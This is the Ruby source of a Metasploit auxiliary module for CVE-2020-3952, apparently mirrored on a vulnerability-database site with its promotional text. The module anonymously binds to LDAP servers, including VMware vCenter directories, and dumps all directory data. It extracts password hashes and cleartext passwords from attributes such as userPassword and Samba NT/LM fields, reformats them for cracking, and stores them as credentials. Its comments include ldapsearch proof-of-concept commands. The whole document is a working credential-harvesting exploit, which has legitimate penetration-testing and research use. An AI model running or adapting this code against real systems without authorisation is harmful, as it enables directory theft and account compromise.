`##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report
include Msf::Exploit::Remote::LDAP
include Msf::OptionalSession::LDAP
def initialize(info = {})
super(
update_info(
info,
'Name' => 'LDAP Information Disclosure',
'Description' => %q{
This module uses an anonymous-bind LDAP connection to dump data from
an LDAP server. Searching for attributes with user credentials
(e.g. userPassword).
},
'Author' => [
'Hynek Petrak' # Discovery, module
],
'References' => [
['CVE', '2020-3952'],
['URL', 'https://www.vmware.com/security/advisories/VMSA-2020-0006.html']
],
'DisclosureDate' => '2020-07-23',
'License' => MSF_LICENSE,
'Actions' => [
['Dump', { 'Description' => 'Dump all LDAP data' }]
],
'DefaultAction' => 'Dump',
'DefaultOptions' => {
'SSL' => true,
'RPORT' => 636
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [IOC_IN_LOGS],
'Reliability' => []
}
)
)
register_options([
OptInt.new('MAX_LOOT', [false, 'Maximum number of LDAP entries to loot', nil]),
OptInt.new('READ_TIMEOUT', [false, 'LDAP read timeout in seconds', 600]),
OptString.new('BASE_DN', [false, 'LDAP base DN if you already have it']),
OptString.new('USER_ATTR', [false, 'LDAP attribute(s), that contains username', 'dn']),
OptString.new('PASS_ATTR', [
true, 'LDAP attribute, that contains password hashes',
'userPassword, sambantpassword, sambalmpassword, mailuserpassword, password, pwdhistory, passwordhistory, clearpassword'
# Other potential candidates:
# ipanthash, krbpwdhistory, krbmkey, userpkcs12, unixUserPassword, krbprincipalkey, radiustunnelpassword, sambapasswordhistory
])
])
end
def user_attr
@user_attr ||= 'dn'
end
def print_ldap_error(ldap)
opres = ldap.get_operation_result
msg = "LDAP error #{opres.code}: #{opres.message}"
unless opres.error_message.to_s.empty?
msg += " - #{opres.error_message}"
end
print_error("#{ldap.peerinfo} #{msg}")
end
# PoC using ldapsearch(1):
#
# Retrieve root DSE with base DN:
# ldapsearch -xb "" -s base -H ldap://[redacted]
#
# Dump data using discovered base DN:
# ldapsearch -xb bind_dn -H ldap://[redacted] \* + -
def run_host(ip)
@rhost = ip
@read_timeout = datastore['READ_TIMEOUT'] || 600
entries_returned = 0
ldap_new do |ldap|
if ldap.get_operation_result.code == 0
vprint_status("#{ldap.peerinfo} LDAP connection established")
else
# Even if we get "Invalid credentials" error, we may proceed with anonymous bind
print_ldap_error(ldap)
end
@rhost = ldap.peerhost
@rport = ldap.peerport
if (base_dn_tmp = datastore['BASE_DN'])
vprint_status("#{ldap.peerinfo} User-specified base DN: #{base_dn_tmp}")
naming_contexts = [base_dn_tmp]
else
vprint_status("#{ldap.peerinfo} Discovering base DN(s) automatically")
naming_contexts = ldap.naming_contexts
print_ldap_error(ldap) unless ldap.get_operation_result.code == 0
if naming_contexts.nil? || naming_contexts.empty?
vprint_warning("#{ldap.peerinfo} Falling back to an empty base DN")
naming_contexts = ['']
end
end
@max_loot = datastore['MAX_LOOT']
@user_attr ||= datastore['USER_ATTR']
@user_attr ||= 'dn'
vprint_status("#{ldap.peerinfo} Taking '#{@user_attr}' attribute as username")
pass_attr ||= datastore['PASS_ATTR']
@pass_attr_array = pass_attr.split(/[,\s]+/).compact.reject(&:empty?).map(&:downcase)
# Dump root DSE for useful information, e.g. dir admin
if @max_loot.nil? || (@max_loot > 0)
print_status("#{ldap.peerinfo} Dumping data for root DSE")
ldap_search(ldap, 'root DSE', {
ignore_server_caps: true,
scope: Net::LDAP::SearchScope_BaseObject
})
end
naming_contexts.each do |base_dn|
print_status("#{ldap.peerinfo} Searching base DN='#{base_dn}'")
entries_returned += ldap_search(ldap, base_dn, {
base: base_dn
})
end
end
# Safe if server did not returned anything
unless (entries_returned > 0)
fail_with(Failure::NotVulnerable, 'Server did not return any data, seems to be safe')
end
rescue Timeout::Error
fail_with(Failure::TimeoutExpired, 'The timeout expired while searching directory')
rescue Net::LDAP::PDU::Error, Net::BER::BerError, Net::LDAP::Error, NoMethodError => e
fail_with(Failure::UnexpectedReply, "Exception occurred: #{e.class}: #{e.message}")
end
def ldap_search(ldap, base_dn, args)
entries_returned = 0
creds_found = 0
def_args = {
base: '',
return_result: false,
attributes: %w[* + -]
}
Tempfile.create do |f|
f.write("# LDIF dump of #{ldap.peerinfo}, base DN='#{base_dn}'\n")
f.write("\n")
begin
# HACK: fix lack of read/write timeout in Net::LDAP
Timeout.timeout(@read_timeout) do
ldap.search(def_args.merge(args)) do |entry|
entries_returned += 1
if @max_loot.nil? || (entries_returned <= @max_loot)
f.write("# #{entry.dn}\n")
f.write(entry.to_ldif.force_encoding('utf-8'))
f.write("\n")
end
@pass_attr_array.each do |attr|
if entry[attr].any?
creds_found += process_hash(entry, attr)
end
end
end
end
rescue Timeout::Error
print_error("#{ldap.peerinfo} Host timeout reached while searching '#{base_dn}'")
return entries_returned
ensure
unless ldap.get_operation_result.code == 0
print_ldap_error(ldap)
end
if entries_returned > 0
print_status("#{ldap.peerinfo} #{entries_returned} entries, #{creds_found} creds found in '#{base_dn}'.")
f.rewind
pillage(f.read, base_dn)
elsif ldap.get_operation_result.code == 0
print_error("#{ldap.peerinfo} No entries returned for '#{base_dn}'.")
end
end
end
entries_returned
end
def pillage(ldif, base_dn)
vprint_status("Storing LDAP data for base DN='#{base_dn}' in loot")
ltype = base_dn.clone
ltype.gsub!(/ /, '_')
ltype.gsub!(/,/, '.')
ltype.gsub!(/(ou=|fn=|cn=|o=|dc=|c=)/i, '')
ltype.gsub!(/[^a-z0-9._-]+/i, '')
ltype = ltype.last(16)
ldif_filename = store_loot(
ltype, # ltype
'text/plain', # ctype
@rhost, # host
ldif, # data
nil, # filename
"Base DN: #{base_dn.gsub(/[^[:print:]]/, '')}" # info, remove null char from base_dn
)
unless ldif_filename
print_error('Could not store LDAP data in loot')
return
end
print_good("Saved LDAP data to #{ldif_filename}")
end
def decode_pwdhistory(hash)
# https://ldapwiki.com/wiki/PwdHistory
parts = hash.split('#', 4)
unless parts.length == 4
return hash
end
hash = parts.last
unless hash.starts_with?('{')
decoded = Base64.decode64(hash)
if decoded.starts_with?('{') || (decoded =~ /[^[:print:]]/).nil?
return decoded
end
end
hash
end
def process_hash(entry, attr)
service_details = {
workspace_id: myworkspace_id,
module_fullname: fullname,
origin_type: :service,
address: @rhost,
port: @rport,
protocol: 'tcp',
service_name: 'ldap'
}
creds_found = 0
# This is the "username"
dn = entry[@user_attr].first # .dn
entry[attr].each do |hash|
if attr == 'pwdhistory'
hash = decode_pwdhistory(hash)
end
# 20170619183528ZHASHVALUE
if attr == 'passwordhistory' && hash.start_with?(/\d{14}Z/i)
hash.slice!(/\d{14}Z/i)
end
# Cases *[crypt}, !{crypt} ...
hash.gsub!(/.?{crypt}/i, '{crypt}')
# We observe some servers base64 encdode the hash string
# and add {crypt} prefix to the base64 encoded value
# e2NyeXB0f in base64 means {crypt
# e3NtZD is {smd
if hash.starts_with?(/{crypt}(e2NyeXB0f|e3NtZD)/)
begin
hash = Base64.strict_decode64(hash.delete_prefix('{crypt}'))
rescue ArgumentError
nil
end
end
# Some have new lines at the end
hash.chomp!
# Skip empty or invalid hashes, e.g. '{CRYPT}x', xxxx, ****
if hash.nil? || hash.empty? ||
(hash.start_with?(/{crypt}/i) && hash.length < 10) ||
hash.start_with?('*****') ||
hash.start_with?(/yyyyyy/i) ||
hash == '*' ||
hash.end_with?('*LK*', # account locked
'*NP*') || # password has never been set
# reject {SASL} pass-through
hash =~ /{sasl}/i ||
hash.start_with?(/xxxxx/i) ||
(attr =~ /^samba(lm|nt)password$/ &&
(hash.length != 32 ||
hash =~ /^aad3b435b51404eeaad3b435b51404ee$/i ||
hash =~ /^31d6cfe0d16ae931b73c59d7e0c089c0$/i)) ||
# observed sambapassword history with either 56 or 64 zeros
(attr == 'sambapasswordhistory' && hash =~ /^(0{64}|0{56})$/)
next
end
case attr
when 'sambalmpassword'
hash_format = 'lm'
when 'sambantpassword'
hash_format = 'nt'
when 'sambapasswordhistory'
# 795471346779677A336879366B654870 1F18DC5E346FDA5E335D9AE207C82CC9
# where the left part is a salt and the right part is MD5(Salt+NTHash)
# attribute value may contain multiple concatenated history entries
# for john sort of 'md5($s.md4(unicode($p)))' - not tested
hash_format = 'sambapasswordhistory'
when 'krbprincipalkey'
hash_format = 'krbprincipal'
# TODO: krbprincipalkey is asn.1 encoded string. In case of vmware vcenter 6.7
# it contains user password encrypted with (23) rc4-hmac and (18) aes256-cts-hmac-sha1-96:
# https://github.com/vmware/lightwave/blob/d50d41edd1d9cb59e7b7cc1ad284b9e46bfa703d/vmdir/server/common/krbsrvutil.c#L480-L558
# Salted with principal name:
# https://github.com/vmware/lightwave/blob/c4ad5a67eedfefe683357bc53e08836170528383/vmdir/thirdparty/heimdal/krb5-crypto/salt.c#L133-L175
# In the meantime, dump the base64 encoded value.
hash = Base64.strict_encode64(hash)
when 'userpkcs12'
# if we get non printable chars, encode into base64
if (hash =~ /[^[:print:]]/).nil?
hash_format = 'pkcs12'
else
hash_format = 'pkcs12-base64'
hash = Base64.strict_encode64(hash)
end
else
if hash.start_with?(/{crypt}.?\$1\$/i)
hash.gsub!(/{crypt}.{,2}\$1\$/i, '$1$')
hash_format = 'md5crypt'
elsif hash.start_with?(/{crypt}/i) && hash.length == 20
# handle {crypt}traditional_crypt case, i.e. explicitly set the hash format
hash.slice!(/{crypt}/i)
# FIXME: what is the right jtr_hash - des,crypt or descrypt ?
# identify_hash returns des,crypt, while JtR acceppts descrypt
hash_format = 'descrypt'
# TODO: not sure if we shall slice the prefixes here or in the JtR/Hashcat formatter
# elsif hash.start_with?(/{sha256}/i)
# hash.slice!(/{sha256}/i)
# hash_format = 'raw-sha256'
else
# handle vcenter vmdir binary hash format
if hash[0].ord == 1 && hash.length == 81
_type, hash, salt = hash.unpack('CH128H32')
hash = "$dynamic_82$#{hash}$HEX$#{salt}"
else
# Remove LDAP's {crypt} prefix from known hash types
hash.gsub!(/{crypt}.{,2}(\$[0256][aby]?\$)/i, '\1')
end
hash_format = Metasploit::Framework::Hashes.identify_hash(hash)
end
end
# highlight unresolved hashes
hash_format = '{crypt}' if hash =~ /{crypt}/i
print_good("#{@rhost}:#{@rport} Credentials (#{hash_format.empty? ? 'password' : hash_format}) found in #{attr}: #{dn}:#{hash}")
# known hash types should have been identified,
# let's assume the rest are clear text passwords
if hash_format.nil? || hash_format.empty?
credential = create_credential(service_details.merge(
username: dn,
private_data: hash,
private_type: :password
))
else
credential = create_credential(service_details.merge(
username: dn,
private_data: hash,
private_type: :nonreplayable_hash,
jtr_format: hash_format
))
end
create_credential_login({
core: credential,
access_level: 'User',
status: Metasploit::Model::Login::Status::UNTRIED
}.merge(service_details))
creds_found += 1
end
creds_found
end
end
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation